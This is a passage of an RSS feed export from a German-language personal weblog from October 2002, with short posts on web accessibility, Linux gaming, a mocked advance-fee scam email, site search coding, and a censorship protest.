  18044.    <content:encoded><![CDATA[Nun ist <a href="http://waterwave.ch"><b>waterwave.ch</b></a> HTML 4.01 und CSS 2 konform. Zudem hab ich mich durch den <a href="https://web.archive.org/web/20021029124142/https://diveintoaccessibility.org/"><b>Dive into Accessibility</b></a> Guide gewühlt und einige Sachen daraus entnommen. Nur das Kontakt-Formular und die Abkürzungen müssen noch bearbeitet werden.<br>Ergänzungen?<br><br><a href="https://validator.w3.org/check?uri=http://waterwave.ch"><img src="https://www.w3.org/Icons/valid-html401" alt="Valid HTML 4.01!" height="31" width="88"></a>  <a href="https://jigsaw.w3.org/css-validator/validator?uri=http://waterwave.ch"><img style="border:0;width:88px;height:31px" src="https://jigsaw.w3.org/css-validator/images/vcss" alt="Valid CSS!"></a>
  18045. ]]></content:encoded>
  18046.  </item>
  18047.  
  18048.  <item>
  18049.    <title>Accessibility!</title>
  18050.    <link>https://blog.x-way.org/Webdesign/2002/10/24/Accessibility.html</link>
  18051.    <guid isPermaLink="true">http://waterwave.ch/weblog/detail.php?id=123</guid>
  18052.    <dc:creator>Andreas Jaggi</dc:creator>
  18053.    <creativeCommons:license>http://creativecommons.org/licenses/by-nd-nc/1.0/</creativeCommons:license>
  18054.    <pubDate>Thu, 24 Oct 2002 22:50:00 +0200</pubDate>
  18055.    <category domain="https://blog.x-way.org/Webdesign/">Webdesign</category>
  18056.    <description><![CDATA[Damit ja niemandem langweilig wird:<br><br><a href="http://www.makoa.org/web-design.htm"><b>Accessible Web Page Design</b></a><br>
  18057. <a href="https://web.archive.org/web/20021022001554/http://aware.hwg.org/"><b>AWARE</b></a><br>
  18058. <a href="https://web.archive.org/web/20021028041713/http://www-3.ibm.com/able/index.html"><b>IBM Accessibility Center</b></a><br>
  18059. <a href="http://www.raggedcastle.com/andyjw/blogaccess.htm"><b>Weblog Accessibility</b></a><br>
  18060. <a href="https://web.archive.org/web/20021014020123/https://joeclark.org/access/"><b>Joe Clark: Media Access</b></a><br>
  18061. <a href="http://www.jimthatcher.com/webcourse1.htm"><b>Web Accessibility for Section 508</b></a><br>
  18062. <a href="https://web.archive.org/web/20021015022522/http://oc.nci.nih.gov/web508/index.html"><b>NCI Web Accessibility and 508 Compliance Initiative</b></a><br>
  18063. <a href="https://web.archive.org/web/20021105045448/https://www.starlingweb.com/webac.htm"><b>Accessible Web design - a definition</b></a><br>
  18064. <a href="http://www.usableweb.com/"><b>Usable Web</b></a><br>
  18065. <a href="https://web.archive.org/web/20021010195554/http://www.washington.edu/doit/Resources/web-design.html"><b>Accessible Web Design </b></a><br>
  18066. <a href="https://web.archive.org/web/20091121155457/http://webdesign.about.com/od/accessibility/Web_Accessibility_Web_Usability.htm"><b>Web Accessibility - ADA Guidelines</b></a><br>
  18067. <a href="https://web.archive.org/web/20021002001249/https://knowbility.org/curriculum/"><b>Accessible Web Page Design Curriculum</b></a><br>
  18068. <a href="https://web.archive.org/web/20021029124142/https://diveintoaccessibility.org/"><b>Dive Into Accessibility</b></a>
  18069. ]]></description>
  18070.    <content:encoded><![CDATA[Damit ja niemandem langweilig wird:<br><br><a href="http://www.makoa.org/web-design.htm"><b>Accessible Web Page Design</b></a><br>
  18071. <a href="https://web.archive.org/web/20021022001554/http://aware.hwg.org/"><b>AWARE</b></a><br>
  18072. <a href="https://web.archive.org/web/20021028041713/http://www-3.ibm.com/able/index.html"><b>IBM Accessibility Center</b></a><br>
  18073. <a href="http://www.raggedcastle.com/andyjw/blogaccess.htm"><b>Weblog Accessibility</b></a><br>
  18074. <a href="https://web.archive.org/web/20021014020123/https://joeclark.org/access/"><b>Joe Clark: Media Access</b></a><br>
  18075. <a href="http://www.jimthatcher.com/webcourse1.htm"><b>Web Accessibility for Section 508</b></a><br>
  18076. <a href="https://web.archive.org/web/20021015022522/http://oc.nci.nih.gov/web508/index.html"><b>NCI Web Accessibility and 508 Compliance Initiative</b></a><br>
  18077. <a href="https://web.archive.org/web/20021105045448/https://www.starlingweb.com/webac.htm"><b>Accessible Web design - a definition</b></a><br>
  18078. <a href="http://www.usableweb.com/"><b>Usable Web</b></a><br>
  18079. <a href="https://web.archive.org/web/20021010195554/http://www.washington.edu/doit/Resources/web-design.html"><b>Accessible Web Design </b></a><br>
  18080. <a href="https://web.archive.org/web/20091121155457/http://webdesign.about.com/od/accessibility/Web_Accessibility_Web_Usability.htm"><b>Web Accessibility - ADA Guidelines</b></a><br>
  18081. <a href="https://web.archive.org/web/20021002001249/https://knowbility.org/curriculum/"><b>Accessible Web Page Design Curriculum</b></a><br>
  18082. <a href="https://web.archive.org/web/20021029124142/https://diveintoaccessibility.org/"><b>Dive Into Accessibility</b></a>
  18083. ]]></content:encoded>
  18084.  </item>
  18085.  
  18086.  <item>
  18087.    <title>Ich bin reich!</title>
  18088.    <link>https://blog.x-way.org/Misc/2002/10/24/Ich_bin_reich.html</link>
  18089.    <guid isPermaLink="true">http://waterwave.ch/weblog/detail.php?id=122</guid>
  18090.    <dc:creator>Andreas Jaggi</dc:creator>
  18091.    <creativeCommons:license>http://creativecommons.org/licenses/by-nd-nc/1.0/</creativeCommons:license>
  18092.    <pubDate>Thu, 24 Oct 2002 15:23:00 +0200</pubDate>
  18093.    <category domain="https://blog.x-way.org/Misc/">Misc</category>
  18094.    <description><![CDATA[Ich hab gerade 20% von US$ 32'000'000 als Angebot von <a href="mailto:isa_50@go.com"><b>Isa Bamaiyi</b></a> erhalten, wenn ich denn Rest via mein Konto in Sicherheit bringe. Denkste, dass ich die 80% zurückzahlen werde ;-)<br>Und das schönste daran: weil ich so gut bin, erhalte ich das Angebot von 4 anderen Isa Bamaiyis auch noch. Also 32'000'000 x 5 gibt schon ein nettes kleines Vermögen ;-)<br><br>Und wers immernoch glaubt, der schaue bitte <a href="http://nigeria-connection.de/"><b>hier</b></a>.<br><br>Nachtrag:<br>Den ganzen "Brief" kann man <a href="http://www.nigeria-connection.de/bamaiyi_isa.html"><b>hier</b></a> finden.
  18095. ]]></description>
  18096.    <content:encoded><![CDATA[Ich hab gerade 20% von US$ 32'000'000 als Angebot von <a href="mailto:isa_50@go.com"><b>Isa Bamaiyi</b></a> erhalten, wenn ich denn Rest via mein Konto in Sicherheit bringe. Denkste, dass ich die 80% zurückzahlen werde ;-)<br>Und das schönste daran: weil ich so gut bin, erhalte ich das Angebot von 4 anderen Isa Bamaiyis auch noch. Also 32'000'000 x 5 gibt schon ein nettes kleines Vermögen ;-)<br><br>Und wers immernoch glaubt, der schaue bitte <a href="http://nigeria-connection.de/"><b>hier</b></a>.<br><br>Nachtrag:<br>Den ganzen "Brief" kann man <a href="http://www.nigeria-connection.de/bamaiyi_isa.html"><b>hier</b></a> finden.
  18097. ]]></content:encoded>
  18098.  </item>
  18099.  
  18100.  <item>
  18101.    <title>Kopierschutz</title>
  18102.    <link>https://blog.x-way.org/Misc/2002/10/24/Kopierschutz.html</link>
  18103.    <guid isPermaLink="true">http://waterwave.ch/weblog/detail.php?id=121</guid>
  18104.    <dc:creator>Andreas Jaggi</dc:creator>
  18105.    <creativeCommons:license>http://creativecommons.org/licenses/by-nd-nc/1.0/</creativeCommons:license>
  18106.    <pubDate>Thu, 24 Oct 2002 13:47:00 +0200</pubDate>
  18107.    <category domain="https://blog.x-way.org/Misc/">Misc</category>
  18108.    <description><![CDATA[<a href="https://web.archive.org/web/20021125172825/http://raphb.ch/"><b>raphb</b></a> hat einen interessanten/amüsanten Text in seinem Weblog veröffentlicht ;-)<br><br><a href="https://web.archive.org/web/20030413170149/http://raphb.ch/pub_files/humor/universal-kopierschutz.txt"><i>"[...] Was soll ich in Zukunft tun ? Einen CD-Brenner und ein Crackprogramm beschaffen,
  18109. das den Kopierschutz ignoriert ? Dateien grundsaetzlich aus dem Netz ziehen ?
  18110. Den Minidisk-Recorder an den Kopfhoererausgang im Plattenladen anschliessen ?
  18111. Neue Scheiben nicht mehr kaufen, alte dafuer kopieren ? Das Radioprogramm auf
  18112. Festplatte mitschneiden lassen und hinterher sortieren ? Was auch immer ich
  18113. davon waehle, Plattenfirmen und Kuenstler werden mich als zahlenden Kunden
  18114. verlieren. [...]"</i></a>
  18115. ]]></description>
  18116.    <content:encoded><![CDATA[<a href="https://web.archive.org/web/20021125172825/http://raphb.ch/"><b>raphb</b></a> hat einen interessanten/amüsanten Text in seinem Weblog veröffentlicht ;-)<br><br><a href="https://web.archive.org/web/20030413170149/http://raphb.ch/pub_files/humor/universal-kopierschutz.txt"><i>"[...] Was soll ich in Zukunft tun ? Einen CD-Brenner und ein Crackprogramm beschaffen,
  18117. das den Kopierschutz ignoriert ? Dateien grundsaetzlich aus dem Netz ziehen ?
  18118. Den Minidisk-Recorder an den Kopfhoererausgang im Plattenladen anschliessen ?
  18119. Neue Scheiben nicht mehr kaufen, alte dafuer kopieren ? Das Radioprogramm auf
  18120. Festplatte mitschneiden lassen und hinterher sortieren ? Was auch immer ich
  18121. davon waehle, Plattenfirmen und Kuenstler werden mich als zahlenden Kunden
  18122. verlieren. [...]"</i></a>
  18123. ]]></content:encoded>
  18124.  </item>
  18125.  
  18126.  <item>
  18127.    <title>Monster</title>
  18128.    <link>https://blog.x-way.org/School/2002/10/24/Monster.html</link>
  18129.    <guid isPermaLink="true">http://waterwave.ch/weblog/detail.php?id=120</guid>
  18130.    <dc:creator>Andreas Jaggi</dc:creator>
  18131.    <creativeCommons:license>http://creativecommons.org/licenses/by-nd-nc/1.0/</creativeCommons:license>
  18132.    <pubDate>Thu, 24 Oct 2002 00:21:00 +0200</pubDate>
  18133.    <category domain="https://blog.x-way.org/School/">School</category>
  18134.    <description><![CDATA[Wie soll man an der Maturaprüfung in 3 Stunden einen Aufsatz schreiben, wenn man jetzt 1.5 Stunden in der Schule braucht, um nur die Überschrift zu schreiben?!<br>Wer schon einen Aufsatz zum Thema Monster geschrieben hat, darf ihn mir auch mailen ;-)
  18135. ]]></description>
  18136.    <content:encoded><![CDATA[Wie soll man an der Maturaprüfung in 3 Stunden einen Aufsatz schreiben, wenn man jetzt 1.5 Stunden in der Schule braucht, um nur die Überschrift zu schreiben?!<br>Wer schon einen Aufsatz zum Thema Monster geschrieben hat, darf ihn mir auch mailen ;-)
  18137. ]]></content:encoded>
  18138.  </item>
  18139.  
  18140.  <item>
  18141.    <title>Momentan im Ohr</title>
  18142.    <link>https://blog.x-way.org/Music/2002/10/23/Momentan_im_Ohr.html</link>
  18143.    <guid isPermaLink="true">http://waterwave.ch/weblog/detail.php?id=119</guid>
  18144.    <dc:creator>Andreas Jaggi</dc:creator>
  18145.    <creativeCommons:license>http://creativecommons.org/licenses/by-nd-nc/1.0/</creativeCommons:license>
  18146.    <pubDate>Wed, 23 Oct 2002 05:29:00 +0200</pubDate>
  18147.    <category domain="https://blog.x-way.org/Music/">Music</category>
  18148.    <description><![CDATA[<a href="https://web.archive.org/web/20021214000000/http://attaque77.com/"><b>Attaque 77 - Dame Fuego</b></a>
  18149. ]]></description>
  18150.    <content:encoded><![CDATA[<a href="https://web.archive.org/web/20021214000000/http://attaque77.com/"><b>Attaque 77 - Dame Fuego</b></a>
  18151. ]]></content:encoded>
  18152.  </item>
  18153.  
  18154.  <item>
  18155.    <title>Rätselt!</title>
  18156.    <link>https://blog.x-way.org/Coding/2002/10/20/Raetselt.html</link>
  18157.    <guid isPermaLink="true">http://waterwave.ch/weblog/detail.php?id=118</guid>
  18158.    <dc:creator>Andreas Jaggi</dc:creator>
  18159.    <creativeCommons:license>http://creativecommons.org/licenses/by-nd-nc/1.0/</creativeCommons:license>
  18160.    <pubDate>Sun, 20 Oct 2002 19:09:00 +0200</pubDate>
  18161.    <category domain="https://blog.x-way.org/Coding/">Coding</category>
  18162.    <description><![CDATA[Das mit dem GET und dem POST hat übrigens auch etwas mit dem google zu tun.<br>Jetzt sollt's eigentlich Klick machen ;-)
  18163. ]]></description>
  18164.    <content:encoded><![CDATA[Das mit dem GET und dem POST hat übrigens auch etwas mit dem google zu tun.<br>Jetzt sollt's eigentlich Klick machen ;-)
  18165. ]]></content:encoded>
  18166.  </item>
  18167.  
  18168.  <item>
  18169.    <title>MySQL Full-text Search</title>
  18170.    <link>https://blog.x-way.org/Coding/2002/10/20/MySQL_Full-text_Search.html</link>
  18171.    <guid isPermaLink="true">http://waterwave.ch/weblog/detail.php?id=117</guid>
  18172.    <dc:creator>Andreas Jaggi</dc:creator>
  18173.    <creativeCommons:license>http://creativecommons.org/licenses/by-nd-nc/1.0/</creativeCommons:license>
  18174.    <pubDate>Sun, 20 Oct 2002 17:18:00 +0200</pubDate>
  18175.    <category domain="https://blog.x-way.org/Coding/">Coding</category>
  18176.    <description><![CDATA[... will nicht wie ich!<br>Nach <a href="http://waterwave.ch/weblog/detail.php?id=116"><b>diesem</b></a> Tipp von <a href="http://robwei.de"><b>rw</b></a> habe ich meine Suchfunktion noch einmal neu gebaut. Durfte jedoch feststellen, dass dabei keine Wörter mit weniger als 4 Zeichen funktionieren und dass nur Wörter verglichen werden, jedoch nicht Wortteile.<br>Also hab ich wieder zurückgewechselt und die MySQL-Queries noch länger gemacht, damit jetzt auch die Titel der einzelnen Beiträge durchsucht werden.
  18177. ]]></description>
  18178.    <content:encoded><![CDATA[... will nicht wie ich!<br>Nach <a href="http://waterwave.ch/weblog/detail.php?id=116"><b>diesem</b></a> Tipp von <a href="http://robwei.de"><b>rw</b></a> habe ich meine Suchfunktion noch einmal neu gebaut. Durfte jedoch feststellen, dass dabei keine Wörter mit weniger als 4 Zeichen funktionieren und dass nur Wörter verglichen werden, jedoch nicht Wortteile.<br>Also hab ich wieder zurückgewechselt und die MySQL-Queries noch länger gemacht, damit jetzt auch die Titel der einzelnen Beiträge durchsucht werden.
  18179. ]]></content:encoded>
  18180.  </item>
  18181.  
  18182.  <item>
  18183.    <title>Tüftel, tüftel</title>
  18184.    <link>https://blog.x-way.org/Coding/2002/10/20/Tueftel_tueftel.html</link>
  18185.    <guid isPermaLink="true">http://waterwave.ch/weblog/detail.php?id=116</guid>
  18186.    <dc:creator>Andreas Jaggi</dc:creator>
  18187.    <creativeCommons:license>http://creativecommons.org/licenses/by-nd-nc/1.0/</creativeCommons:license>
  18188.    <pubDate>Sun, 20 Oct 2002 02:22:00 +0200</pubDate>
  18189.    <category domain="https://blog.x-way.org/Coding/">Coding</category>
  18190.    <description><![CDATA[Nun werden die Suchergebnisse nach Häufigkeit der Treffer sortiert, sowie doppelte Treffer entfernt.<br>Diese 25 Zeilen Code, an denen ich jetzt sicher 1.5 Stunden gebaut habe, kann man für 10 Euro käuflich erwerben; damit ich den Kaffee bezahlen kann ;-)
  18191. ]]></description>
  18192.    <content:encoded><![CDATA[Nun werden die Suchergebnisse nach Häufigkeit der Treffer sortiert, sowie doppelte Treffer entfernt.<br>Diese 25 Zeilen Code, an denen ich jetzt sicher 1.5 Stunden gebaut habe, kann man für 10 Euro käuflich erwerben; damit ich den Kaffee bezahlen kann ;-)
  18193. ]]></content:encoded>
  18194.  </item>
  18195.  
  18196.  <item>
  18197.    <title>Sucht!</title>
  18198.    <link>https://blog.x-way.org/Coding/2002/10/20/Sucht.html</link>
  18199.    <guid isPermaLink="true">http://waterwave.ch/weblog/detail.php?id=115</guid>
  18200.    <dc:creator>Andreas Jaggi</dc:creator>
  18201.    <creativeCommons:license>http://creativecommons.org/licenses/by-nd-nc/1.0/</creativeCommons:license>
  18202.    <pubDate>Sun, 20 Oct 2002 00:42:00 +0200</pubDate>
  18203.    <category domain="https://blog.x-way.org/Coding/">Coding</category>
  18204.    <description><![CDATA[Damit ihr's noch bequemer habt, gibt es jetzt ne Suchfunktion.<br>Warum das ganze via GET und nicht via POST funktioniert, erfährt ihr später noch. Wer's trotzdem rauskriegt, darf sich Geek nennen ;-]
  18205. ]]></description>
  18206.    <content:encoded><![CDATA[Damit ihr's noch bequemer habt, gibt es jetzt ne Suchfunktion.<br>Warum das ganze via GET und nicht via POST funktioniert, erfährt ihr später noch. Wer's trotzdem rauskriegt, darf sich Geek nennen ;-]
  18207. ]]></content:encoded>
  18208.  </item>
  18209.  
  18210.  <item>
  18211.    <title>Winterswap</title>
  18212.    <link>https://blog.x-way.org/Misc/2002/10/19/Winterswap.html</link>
  18213.    <guid isPermaLink="true">http://waterwave.ch/weblog/detail.php?id=114</guid>
  18214.    <dc:creator>Andreas Jaggi</dc:creator>
  18215.    <creativeCommons:license>http://creativecommons.org/licenses/by-nd-nc/1.0/</creativeCommons:license>
  18216.    <pubDate>Sat, 19 Oct 2002 16:41:00 +0200</pubDate>
  18217.    <category domain="https://blog.x-way.org/Misc/">Misc</category>
  18218.    <description><![CDATA[<a href="https://web.archive.org/web/20030425234825/http://www.blogworld.de/entry.php?id=00250"><b>Da</b></a> bin ich natürlich dabei :-)
  18219. ]]></description>
  18220.    <content:encoded><![CDATA[<a href="https://web.archive.org/web/20030425234825/http://www.blogworld.de/entry.php?id=00250"><b>Da</b></a> bin ich natürlich dabei :-)
  18221. ]]></content:encoded>
  18222.  </item>
  18223.  
  18224.  <item>
  18225.    <title>Gegen Zensur!</title>
  18226.    <link>https://blog.x-way.org/Misc/2002/10/19/Gegen_Zensur.html</link>
  18227.    <guid isPermaLink="true">http://waterwave.ch/weblog/detail.php?id=113</guid>
  18228.    <dc:creator>Andreas Jaggi</dc:creator>
  18229.    <creativeCommons:license>http://creativecommons.org/licenses/by-nd-nc/1.0/</creativeCommons:license>
  18230.    <pubDate>Sat, 19 Oct 2002 02:53:00 +0200</pubDate>
  18231.    <category domain="https://blog.x-way.org/Misc/">Misc</category>
  18232.    <description><![CDATA[<a href="https://blog.x-way.org/images/antifaplakat.jpg" target="_blank"><b>Dieses Antifa-Plakat</b></a> wird von der Berliner Polizei zensiert. Bisher wurden schon verschiedene Websites abgemahnt, unter anderem <a href="https://web.archive.org/web/20021119210753/http://www1.antifa.de/"><b>antifa.de</b></a>, <a href="https://web.archive.org/web/20030118141906/http://www.linkeseite.de/Texte/antifatexte/1264doku.htm"><b>Linke Seite</b></a>, <a href="https://web.archive.org/web/20021126015140/http://www.jusos-suedwest.de/"><b>Jusos Steglitz/Zehlendorf</b></a>.<br>Der Berliner Polizei fehlt nicht nur jegliche Rechtsgrundlage dazu (eine richterliche Verfügung ist meines Wissens nicht vorhanden!), sondern sie verstösst damit auch gegen das <a href="https://web.archive.org/web/20021016075443/https://www.datenschutz-berlin.de/recht/de/gg/gg1_de.htm#art5"><b>Grundgesetz der BRD</b></a>!<br><br><a href="https://web.archive.org/web/20021210171436/http://www.finaroute.ch/sgemko/emrk.html"><b>Die Berliner Polizei verstösst damit auch gegen Artikel 10 (Freiheit der Meinungsäusserung) der Menschenrechte!</b></a><br><br>Stoppt die Zensur! Kopiert die Plakate und verteilt sie im ganzen Internet!<br><br>Politische Hintergründe und weitere Informationen zu der Sache gibts <a href="https://web.archive.org/web/20021207102250/http://www.antifaschistische-aktion.com/modules.php?op=modload&amp;name=News&amp;file=article&amp;sid=53&amp;mode=thread&amp;order=0&amp;thold=0"><b>hier</b></a>, <a href="http://www.heise.de/newsticker/data/wst-18.10.02-003/"><b>hier</b></a> und beim <a href="http://www.schockwellenreiter.de/2002/10/18.html#a8578"><b>Schockwellenreiter</b></a>.<br><br><br><a href="https://blog.x-way.org/images/antifaplakat.jpg"><img alt="Antifaplakat" src="https://blog.x-way.org/images/antifaplakat_s.jpg" height="291" width="200"></a>
  18233. ]]></description>
  18234.    <content:encoded><![CDATA[<a href="https://blog.x-way.org/images/antifaplakat.jpg" target="_blank"><b>Dieses Antifa-Plakat</b></a> wird von der Berliner Polizei zensiert. Bisher wurden schon verschiedene Websites abgemahnt, unter anderem <a href="https://web.archive.org/web/20021119210753/http://www1.antifa.de/"><b>antifa.de</b></a>, <a href="https://web.archive.org/web/20030118141906/http://www.linkeseite.de/Texte/antifatexte/1264doku.htm"><b>Linke Seite</b></a>, <a href="https://web.archive.org/web/20021126015140/http://www.jusos-suedwest.de/"><b>Jusos Steglitz/Zehlendorf</b></a>.<br>Der Berliner Polizei fehlt nicht nur jegliche Rechtsgrundlage dazu (eine richterliche Verfügung ist meines Wissens nicht vorhanden!), sondern sie verstösst damit auch gegen das <a href="https://web.archive.org/web/20021016075443/https://www.datenschutz-berlin.de/recht/de/gg/gg1_de.htm#art5"><b>Grundgesetz der BRD</b></a>!<br><br><a href="https://web.archive.org/web/20021210171436/http://www.finaroute.ch/sgemko/emrk.html"><b>Die Berliner Polizei verstösst damit auch gegen Artikel 10 (Freiheit der Meinungsäusserung) der Menschenrechte!</b></a><br><br>Stoppt die Zensur! Kopiert die Plakate und verteilt sie im ganzen Internet!<br><br>Politische Hintergründe und weitere Informationen zu der Sache gibts <a href="https://web.archive.org/web/20021207102250/http://www.antifaschistische-aktion.com/modules.php?op=modload&amp;name=News&amp;file=article&amp;sid=53&amp;mode=thread&amp;order=0&amp;thold=0"><b>hier</b></a>, <a href="http://www.heise.de/newsticker/data/wst-18.10.02-003/"><b>hier</b></a> und beim <a href="http://www.schockwellenreiter.de/2002/10/18.html#a8578"><b>Schockwellenreiter</b></a>.<br><br><br><a href="https://blog.x-way.org/images/antifaplakat.jpg"><img alt="Antifaplakat" src="https://blog.x-way.org/images/antifaplakat_s.jpg" height="291" width="200"></a>
  18235. ]]></content:encoded>
  18236.  </item>
  18237.  
  18238.  <item>
  18239.    <title>Muss das sein?</title>
  18240.    <link>https://blog.x-way.org/Misc/2002/10/18/Muss_das_sein.html</link>
  18241.    <guid isPermaLink="true">http://waterwave.ch/weblog/detail.php?id=112</guid>
  18242.    <dc:creator>Andreas Jaggi</dc:creator>
  18243.    <creativeCommons:license>http://creativecommons.org/licenses/by-nd-nc/1.0/</creativeCommons:license>
  18244.    <pubDate>Fri, 18 Oct 2002 17:57:00 +0200</pubDate>
  18245.    <category domain="https://blog.x-way.org/Misc/">Misc</category>
  18246.    <description><![CDATA[Ist den wirklich <a href="https://blog.x-way.org/stuff/outlook.php"><b>so viel</b></a> Zeichensalat nötig nur um das hier darzustellen?<br><br><div style="background-color: #FFFBF0;">-----Ursprüngliche Nachricht-----<br><b>Von:</b> Eberhard Mirjam [mailto:eberhard.mirjam@beaexpo.ch] <br><b>Gesendet:</b> Freitag, 18. Oktober 2002 13:24<br><b>An:</b> Linder Julia; alain@japan.com; perolli@gmx.ch; fli-5@gmx.net; danaga30@hotmail.com; mbosshard@publicitas.ch<br><b>Betreff:</b> Verhalten bei Notsituation<br><br><br><br><pre>... richtiges Verhalten bei plötzlichem Auftreten von Arbeit ...</pre><img alt="Maus" src="https://blog.x-way.org/images/maus.gif" width="121" height="78"></div><br><br>Nachtrag:<br>Die Daten des Bildes sind da natürlich noch nicht dabei!
  18247. ]]></description>
  18248.    <content:encoded><![CDATA[Ist den wirklich <a href="https://blog.x-way.org/stuff/outlook.php"><b>so viel</b></a> Zeichensalat nötig nur um das hier darzustellen?<br><br><div style="background-color: #FFFBF0;">-----Ursprüngliche Nachricht-----<br><b>Von:</b> Eberhard Mirjam [mailto:eberhard.mirjam@beaexpo.ch] <br><b>Gesendet:</b> Freitag, 18. Oktober 2002 13:24<br><b>An:</b> Linder Julia; alain@japan.com; perolli@gmx.ch; fli-5@gmx.net; danaga30@hotmail.com; mbosshard@publicitas.ch<br><b>Betreff:</b> Verhalten bei Notsituation<br><br><br><br><pre>... richtiges Verhalten bei plötzlichem Auftreten von Arbeit ...</pre><img alt="Maus" src="https://blog.x-way.org/images/maus.gif" width="121" height="78"></div><br><br>Nachtrag:<br>Die Daten des Bildes sind da natürlich noch nicht dabei!
  18249. ]]></content:encoded>
  18250.  </item>
  18251.  
  18252.  <item>
  18253.    <title>So nebenbei</title>
  18254.    <link>https://blog.x-way.org/Linux/2002/10/17/So_nebenbei.html</link>
  18255.    <guid isPermaLink="true">http://waterwave.ch/weblog/detail.php?id=111</guid>
  18256.    <dc:creator>Andreas Jaggi</dc:creator>
  18257.    <creativeCommons:license>http://creativecommons.org/licenses/by-nd-nc/1.0/</creativeCommons:license>
  18258.    <pubDate>Thu, 17 Oct 2002 23:50:00 +0200</pubDate>
  18259.    <category domain="https://blog.x-way.org/Linux/">Linux</category>
  18260.    <description><![CDATA[Quake3 und RTCW laufen übrigens bei mir nun auch auf Linux.
  18261. ]]></description>
  18262.    <content:encoded><![CDATA[Quake3 und RTCW laufen übrigens bei mir nun auch auf Linux.
  18263. ]]></content:encoded>
  18264.  </item>
  18265.  
  18266.  <item>
  18267.    <title>Ha!</title>
  18268.    <link>https://blog.x-way.org/Linux/2002/10/17/Ha.html</link>
  18269.    <guid isPermaLink="true">http://waterwave.ch/weblog/detail.php?id=110</guid>
  18270.    <dc:creator>Andreas Jaggi</dc:creator>
  18271.    <creativeCommons:license>http://creativecommons.org/licenses/by-nd-nc/1.0/</creativeCommons:license>
  18272.    <pubDate>Thu, 17 Oct 2002 13:10:00 +0200</pubDate>
  18273.    <category domain="https://blog.x-way.org/Linux/">Linux</category>
  18274.    <description><![CDATA[UT läuft nun auch unter Linux!
  18275. ]]></description>
  18276.    <content:encoded><![CDATA[UT läuft nun auch unter Linux!
  18277. ]]></content:encoded>
  18278.  </item>
  18279.  
  18280.  <item>
  18281.    <title>Gaming Tux</title>
  18282.    <link>https://blog.x-way.org/Linux/2002/10/16/Gaming_Tux.html</link>
  18283.    <guid isPermaLink="true">http://waterwave.ch/weblog/detail.php?id=109</guid>
  18284.    <dc:creator>Andreas Jaggi</dc:creator>
  18285.    <creativeCommons:license>http://creativecommons.org/licenses/by-nd-nc/1.0/</creativeCommons:license>
  18286.    <pubDate>Wed, 16 Oct 2002 16:43:00 +0200</pubDate>
  18287.    <category domain="https://blog.x-way.org/Linux/">Linux</category>
  18288.    <description><![CDATA[<a href="https://holarse.de/"><b>Hier</b></a> findet man viele Informationen, über Games unter Linux. Leider noch nichts zu UT2003.
  18289. ]]></description>
  18290.    <content:encoded><![CDATA[<a href="https://holarse.de/"><b>Hier</b></a> findet man viele Informationen, über Games unter Linux. Leider noch nichts zu UT2003.
  18291. ]]></content:encoded>
  18292.  </item>
  18293.  
  18294.  <item>
  18295.    <title>Hahaha</title>
  18296.    <link>https://blog.x-way.org/Misc/2002/10/16/Hahaha.html</link>
  18297.    <guid isPermaLink="true">http://waterwave.ch/weblog/detail.php?id=108</guid>
  18298.    <dc:creator>Andreas Jaggi</dc:creator>
  18299.    <creativeCommons:license>http://creativecommons.org/licenses/by-nd-nc/1.0/</creativeCommons:license>
  18300.    <pubDate>Wed, 16 Oct 2002 01:35:00 +0200</pubDate>
  18301.    <category domain="https://blog.x-way.org/Misc/">Misc</category>
  18302.    <description><![CDATA[<a href="https://web.archive.org/web/20021005182907/http://www.nucleostop.onlinehome.de/index.html"><b>NucleoSTOP</b></a>, ein kompaktes Gerät, das es in sich hat. Durch ein innovatives Verfahren wird Atomstrom sofort erkannt, und, bevor er Ihre wertvollen Elektrogeräte durchflutet, zurück zum Erzeuger geschickt.<br>Der Preis beträgt nur noch sensationelle 949,- Euro incl. MwSt.<br><br>Quelle: <a href="https://web.archive.org/web/20021004051645/http://www.monoklon.de/index.php"><b>monoklon.de</b></a>
  18303. ]]></description>
  18304.    <content:encoded><![CDATA[<a href="https://web.archive.org/web/20021005182907/http://www.nucleostop.onlinehome.de/index.html"><b>NucleoSTOP</b></a>, ein kompaktes Gerät, das es in sich hat. Durch ein innovatives Verfahren wird Atomstrom sofort erkannt, und, bevor er Ihre wertvollen Elektrogeräte durchflutet, zurück zum Erzeuger geschickt.<br>Der Preis beträgt nur noch sensationelle 949,- Euro incl. MwSt.<br><br>Quelle: <a href="https://web.archive.org/web/20021004051645/http://www.monoklon.de/index.php"><b>monoklon.de</b></a>
  18305. ]]></content:encoded>
  18306.  </item>
  18307.  
  18308.  <item>
  18309.    <title>Und ich sprach, es werde graphisch und es ward graphisch.</title>
  18310.    <link>https://blog.x-way.org/Linux/2002/10/13/Und_ich_sprach_es_werde_graphisch_und_es_ward_graphisch.html</link>
  18311.    <guid isPermaLink="true">http://waterwave.ch/weblog/detail.php?id=107</guid>
  18312.    <dc:creator>Andreas Jaggi</dc:creator>
  18313.    <creativeCommons:license>http://creativecommons.org/licenses/by-nd-nc/1.0/</creativeCommons:license>
  18314.    <pubDate>Sun, 13 Oct 2002 11:10:00 +0200</pubDate>
  18315.    <category domain="https://blog.x-way.org/Linux/">Linux</category>
  18316.    <description><![CDATA[X und Gnome laufen. Der Rest auch. <a href="http://waterwave.ch/weblog/detail.php?id=105"><b>Der Fehler mit dem Netzwerk</b></a> kam wegen eines nichteingesteckten Netzwerkkabels ...
  18317. ]]></description>
  18318.    <content:encoded><![CDATA[X und Gnome laufen. Der Rest auch. <a href="http://waterwave.ch/weblog/detail.php?id=105"><b>Der Fehler mit dem Netzwerk</b></a> kam wegen eines nichteingesteckten Netzwerkkabels ...
  18319. ]]></content:encoded>
  18320.  </item>
  18321.  
  18322.  <item>
  18323.    <title>Ich verkaufe resp. versteigere</title>
  18324.    <link>https://blog.x-way.org/Misc/2002/10/12/Ich_verkaufe_resp_versteigere.html</link>
  18325.    <guid isPermaLink="true">http://waterwave.ch/weblog/detail.php?id=106</guid>
  18326.    <dc:creator>Andreas Jaggi</dc:creator>
  18327.    <creativeCommons:license>http://creativecommons.org/licenses/by-nd-nc/1.0/</creativeCommons:license>
  18328.    <pubDate>Sat, 12 Oct 2002 16:15:00 +0200</pubDate>
  18329.    <category domain="https://blog.x-way.org/Misc/">Misc</category>
